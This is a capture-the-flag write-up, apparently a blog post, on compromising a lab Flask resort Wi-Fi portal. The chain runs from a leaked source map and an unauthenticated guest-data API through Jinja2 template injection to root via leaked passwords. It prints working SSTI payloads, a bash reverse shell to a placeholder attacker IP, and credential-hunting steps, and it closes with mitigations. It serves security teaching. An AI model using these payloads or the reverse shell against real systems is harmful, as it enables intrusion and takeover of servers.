Summary
Casino is a Flask-based "Guest WiFi & Portal" resort captive portal. A leaked JS source-map exposes an unauthenticated internal API endpoint (/api/v1/rooms/status) that dumps the entire guest database, giving away valid room-number/last-name pairs used by the login form. Logging in as a leaked guest exposes a display_name field on /profile that is vulnerable to server-side template injection (Jinja2 SSTI), leading to RCE as www-data inside the app's Docker container. From there, a readable .bash_history in another user's home directory leaks a plaintext MySQL password that gets reused as a local su password, and group membership in adm grants read access to a provisioning log containing the root sync credential, which fully compromises the host.
Recon
Full TCP scan:
nmap -A -p- <MACHINE-IP> -o nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open http Werkzeug httpd 3.1.8 (Python 3.10.18)
|_http-server-header: Werkzeug/3.1.8 Python/3.10.18
| http-title: Hack Smarter World - Guest WiFi & Portal
|_Requested resource was /login
2222/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Two SSH services on different ports and versions (Ubuntu on 22, Debian on 2222) is an early hint we're looking at a host fronting (or containing) a separate Linux environment. Port 80 is a Flask app served through Werkzeug's dev server, titled "Hack Smarter World - Guest WiFi & Portal".
Content discovery:
dirsearch -u http://<MACHINE-IP>/ -x 403,404
[07:42:29] 200 - 5KB - /login
whatweb http://<MACHINE-IP>/
http://<MACHINE-IP>/ [302 Found] ... RedirectLocation[/login] ... Werkzeug[3.1.8]
http://<MACHINE-IP>/login [200 OK] Bootstrap, HTML5, HTTPServer[Werkzeug/3.1.8 Python/3.10.18] ...
Everything unauthenticated redirects to /login, which is a captive-portal-style form asking for a room number and a guest's last name.
Source map leak → unauthenticated API disclosure
The login page loads a minified script:
curl http://<MACHINE-IP>/static/js/app.min.js
function initPortal(){console.log("Hack Smarter World WiFi Gateway Active");}document.addEventListener("DOMContentLoaded",initPortal);
//# sourceMappingURL=app.min.js.map
The sourcemap reference is still deployed and readable:
curl http://<MACHINE-IP>/static/js/app.min.js.map
{
"version": 3,
"file": "app.min.js",
"sources": ["src/api/roomVerification.js"],
"sourcesContent": [
"// Front-Desk Kiosk API verification helper\nasync function checkRoomStatus(roomNum) {\n const res = await fetch('/api/v1/rooms/status?status=occupied');\n return await res.json();\n}"
]
}
This is dead code (the minified bundle never actually calls checkRoomStatus), but the sourcemap tells us the front-desk kiosk normally talks to an internal API at /api/v1/rooms/status. Hitting it directly, with no session and no auth:
curl 'http://<MACHINE-IP>/api/v1/rooms/status?status=occupied'
{
"filter": "occupied",
"rooms": [
{ "checkout": "2026-08-11", "guest_name": "[REDACTED]", "id": 1, "room_number": "[REDACTED]", "status": "occupied", "tier": "Standard Guest" },
...
{ "checkout": "2026-08-13", "guest_name": "[REDACTED]", "id": 98, "room_number": "[REDACTED]", "status": "occupied", "tier": "VIP Premium" }
],
"status": "success",
"total_records": 100
}
The endpoint has no authentication and no rate limiting, and returns all 100 occupied rooms with room_number and guest_name (last name), exactly the two fields the login form asks for. This is a broken access control / IDOR issue: an internal kiosk API was exposed on the same origin as the guest portal with no distinction in trust level.
Login bypass via leaked guest data
Picking an arbitrary entry (room [REDACTED], last name [REDACTED]) and logging in:
curl -i -c cookies.txt \
-X POST 'http://<MACHINE-IP>/login' \
-d 'room_number=[REDACTED]' \
-d 'last_name=[REDACTED]'
HTTP/1.1 302 FOUND
Location: /dashboard
Set-Cookie: session=.eJxVjk0LgkAQhv_KNmcFM_rAW5ewmyTkIUK2dXQXXVd2Zw8h_ve2iKDTDC_PPPPOULcDdxIdZLcZGIUBzguBzkEER08SR1KCEzaMDMu56FmpuSW0rDJ2aFiuOhmXEwagUie1gvtyj6BRbhr4sx65Rsig5JZLdjEfa-fRhUczCImiN57qJvgDlSbpLk4O8XoTqFZZR3_3IQxdf9nXZo3R9ej1Ay1k230SAan3CtdzwQqLWnkNy_ICHbNNhg.ao2Bsg.xtUmaPOrplT2GjjTUiNhQsFy1fs; HttpOnly; Path=/
The session cookie is enough to reach /dashboard, which now greets us as "[REDACTED]" in Room [REDACTED]: full account takeover of a guest that was never authenticated by anything other than data the API itself leaked.
SSTI discovery on /profile
The dashboard links to /profile, which has a single editable field, display_name, that's reflected straight back into the page ("Welcome Back, [REDACTED]!"). Reflected user input into a Flask app is worth testing for Jinja2 SSTI:
curl -i -b cookies.txt -c cookies.txt \
-X POST 'http://<MACHINE-IP>/profile' \
-d 'display_name={{7*7}}'
HTTP/1.1 200 OK
...
<h5 ...>Welcome Back, 49!</h5>
<input ... value="49" required>
{{7*7}} evaluated to 49, the field is passed straight into a Jinja2 render_template_string-style call with no sanitization or sandboxing. This is a textbook server-side template injection.
First RCE attempt — failed (shell quoting, not a WAF)
The obvious next step is breaking out to os.popen through Jinja2's object graph. Two different gadget payloads were tried here, both wrapped in single-quoted -d arguments containing embedded single quotes around identifiers like 'os' and 'id'. Both attempts came back as HTTP/1.1 500 INTERNAL SERVER ERROR.
It's tempting to assume a WAF or input filter is stripping the payload, but that's not what's happening here: there's no WAF in front of this app at all. The actual bug is in the shell invocation, not the server.
In POSIX shells, a ' always closes the currently open single-quoted string, there's no escaping inside single quotes. So bash/zsh parses a payload like this into several concatenated fragments, splitting apart wherever an internal ' appears:
'display_name={{config.__class__.__init__.__globals__[' + os + '].popen(' + id + ').read()}}'
os and id are then evaluated as unquoted shell words, not literal text. Since there's no os or id command/variable expansion that produces anything useful here, curl ends up sending a mangled body where the Python identifiers os and id are no longer inside quotes at all, from Jinja2's point of view that's a Python NameError / syntax error (os and id are undefined names in that context), which the Flask app turns into the generic Werkzeug 500 page. -d also sends the body completely raw with no URL-encoding, so nothing was normalizing the broken quoting either.
The fix is to stop letting the shell tear apart the payload's internal quotes. Wrapping the argument in double quotes (so the payload's single quotes survive literally) and switching to --data-urlencode (so reserved characters like {, }, and spaces are sent correctly instead of raw) resolves it cleanly.
Successful RCE via --data-urlencode
curl -i -b cookies.txt -c cookies.txt \
-X POST 'http://<MACHINE-IP>/profile' \
--data-urlencode "display_name={{ lipsum.__globals__['os'].popen('id').read() }}"
HTTP/1.1 200 OK
...
<h5 ...>Welcome Back, uid=33(www-data) gid=33(www-data) groups=33(www-data)
!</h5>
<input ... value="uid=33(www-data) gid=33(www-data) groups=33(www-data)
" required>
lipsum is one of Jinja2's default globals ({{ lipsum }} for generating placeholder text) and, like cycler, exposes __globals__ even though it isn't wrapped by the sandbox the app clearly isn't using anyway. With the quoting fixed, os.popen('id').read() executes server-side and confirms code execution as www-data.
Reverse shell
With confirmed RCE, catching a shell with penelope:
penelope listen -p 4444
curl -i -b cookies.txt -c cookies.txt \
-X POST 'http://<MACHINE-IP>/profile' \
--data-urlencode "display_name={{ lipsum.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/<ATTACKER-IP>/4444 0>&1\"').read() }}"
[+] [New Reverse Shell] => 5ee06b607cca <MACHINE-IP> Linux-x86_64 👤 www-data(33) 😍️ Session ID <1>
[+] Agent deployed via /usr/local/bin/python3
www-data@5ee06b607cca:/app/app$ whoami
www-data
www-data@5ee06b607cca:/app/app$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Confirming we're inside a Docker container
The shell prompt (5ee06b607cca) is a container-ID-style hostname, not a normal host name, and the app root confirms it:
www-data@5ee06b607cca:/app/app$ cd ..
www-data@5ee06b607cca:/app$ ls
Dockerfile app docker-compose.yml entrypoint.sh requirements.txt scripts start.sh supervisord.conf
www-data@5ee06b607cca:/app$ cat Dockerfile
FROM python:3.10-slim-bullseye
...
RUN setcap 'cap_net_bind_service=+ep' $(readlink -f $(which python3))
RUN mkdir -p /var/run/sshd
RUN sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config
RUN sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config
WORKDIR /app
COPY requirements.txt /app/
RUN pip install --no-cache-dir -r requirements.txt
COPY . /app/
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
RUN chmod +x /app/entrypoint.sh /app/scripts/setup_system.sh
EXPOSE 80 22
ENTRYPOINT ["/app/entrypoint.sh"]
So the whole box is a single Docker container running Flask (via supervisord), OpenSSH, and sudo, everything we're about to do from here on happens inside that container, there's no host/container pivot needed. This also explains the two different SSH banners from the nmap scan: port 22 belongs to the container's own sshd, port 2222 is a separate service on the outer host/hypervisor.
App source, confirming the SSTI sink lives in the Flask route backing /profile (app.py) and that guest data is pulled from a local SQLite DB seeded at build time (database.py, deterministically seeded with random.seed(42), which is exactly why the guest API dump above was reproducible/enumerable):
www-data@5ee06b607cca:/app/app$ ls -la
-rw-rw-r-- 1 www-data www-data 4639 Aug 11 04:14 app.py
-rw-rw-r-- 1 www-data www-data 4300 Aug 9 22:30 database.py
-rw-rw-rw- 1 www-data www-data 24576 Aug 9 22:30 resort.db
Local enumeration → password reuse
www-data@5ee06b607cca:/app$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
george:x:1000:1000::/home/george:/bin/bash
david:x:1001:1001::/home/david:/bin/bash
www-data@5ee06b607cca:/app$ ls /home
david george
Both george's and david's home directories are world-readable, and george's has a .bash_history sitting there with www-data permissions to read:
www-data@5ee06b607cca:/home/george$ cat .bash_history
cd /var/www/app
...
cd /home/george
ls -la
ssh-keygen -t rsa -b 2048
cat .ssh/id_rsa.pub >> .ssh/authorized_keys
chmod 644 .ssh/id_rsa
sudo systemctl restart ssh
...
su david
[REDACTED]
exit
history -c
mysql -u david -p'[REDACTED]' -h 127.0.0.1 resort_db
...
Two findings here:
-
chmod 644 .ssh/id_rsa: george made his own SSH private key world-readable (this is exactly theuser.txtflag's hint). -
su david/[REDACTED]: george typed david'ssupassword directly into the shell (it landed in history as its own line instead of being consumed by the password prompt), and the same password shows up again reused for MySQL. Classic password reuse across a shell login and a database account.
george's user flag is readable directly as www-data:
www-data@5ee06b607cca:/home/george$ cat user.txt
HSM{REDACTED}
Privilege escalation → david
www-data@5ee06b607cca:/home/george$ su david
Password:
david@5ee06b607cca:/home/george$ id
uid=1001(david) gid=1001(david) groups=1001(david),4(adm)
david isn't in sudoers:
david@5ee06b607cca:~$ sudo -l
[sudo] password for david:
Sorry, user david may not run sudo on 5ee06b607cca.
But david is a member of the adm group, which on Debian/Ubuntu grants read access to most of /var/log, including files that are 640 root:adm:
david@5ee06b607cca:~$ ls -la /var/log
-rw-r----- 1 root adm 612 Aug 25 11:35 provisioning.log
david@5ee06b607cca:~$ grep -r root /var/log
/var/log/provisioning.log:2026-08-01 03:14:30 [SUCCESS] Applied security policy for root access.
/var/log/provisioning.log:2026-08-01 03:14:31 [DEBUG] Saved system root sync credential: [REDACTED]
A provisioning/build script left a debug-level log entry containing the root account's password in plaintext, readable by anyone in adm.
Root
david@5ee06b607cca:~$ su root
Password:
root@5ee06b607cca:/home/david# whoami
root
root@5ee06b607cca:~# cat root.txt
HSM{REDACTED}
Attack Chain
Unauthenticated /login
│
▼
Leaked sourcemap (app.min.js.map)
│ reveals internal kiosk API path
▼
GET /api/v1/rooms/status?status=occupied (no auth)
│ dumps room_number + guest_name for all 100 guests
▼
POST /login (room_number=[REDACTED], last_name=[REDACTED])
│ guest account takeover via leaked data
▼
/profile → display_name reflected unsanitized
│ Jinja2 SSTI ({{7*7}} → 49)
▼
{{ lipsum.__globals__['os'].popen(...) }} [--data-urlencode fixes shell-quoting break]
│ RCE as www-data (inside Docker container)
▼
Readable /home/george/.bash_history
│ leaks david's su/MySQL password (reuse) + world-readable id_rsa → user.txt
▼
su david (adm group membership)
│ read access to /var/log/provisioning.log
▼
Plaintext root password in provisioning.log
│
▼
su root → root.txt
Key Vulnerabilities & Mitigations
| # | Vulnerability | Impact | Mitigation |
|---|---|---|---|
| 1 | Deployed JS sourcemap (app.min.js.map) leaks internal API path |
Recon → exposes hidden endpoint | Never ship .map files to production; strip source maps in the build pipeline |
| 2 |
/api/v1/rooms/status has no authentication |
Full guest PII dump (room + last name), enables login bypass | Require session/auth on all internal APIs; never trust "kiosk-only" obscurity |
| 3 | Guest login only checks room number + last name (both leaked by #2) | Account takeover of any guest | Add a real secret (booking reference, OTP) not derivable from other endpoints |
| 4 |
display_name rendered via unsandboxed Jinja2 (render_template_string) |
Server-side template injection → RCE as www-data
|
Never pass user input into render_template_string; use render_template with a fixed template and pass data as a context variable only |
| 5 | World-readable george and david home directories, a .bash_history with credentials, and a self-chmod'd 644 SSH private key |
Credential and key disclosure to any local user |
chmod 700 home directories, never type passwords on the command line, disable/clear history for sensitive commands, chmod 600 private keys |
| 6 | Password reuse between su login and MySQL account |
One leaked credential compromises multiple services | Unique credentials per service, use a secrets manager |
| 7 |
adm group grants read access to /var/log, and a provisioning script logged the root password at DEBUG level |
Local user → root | Never log secrets, even at debug level; scrub/rotate provisioning logs; avoid giving broad log-read groups to non-admin accounts |
Top comments (0)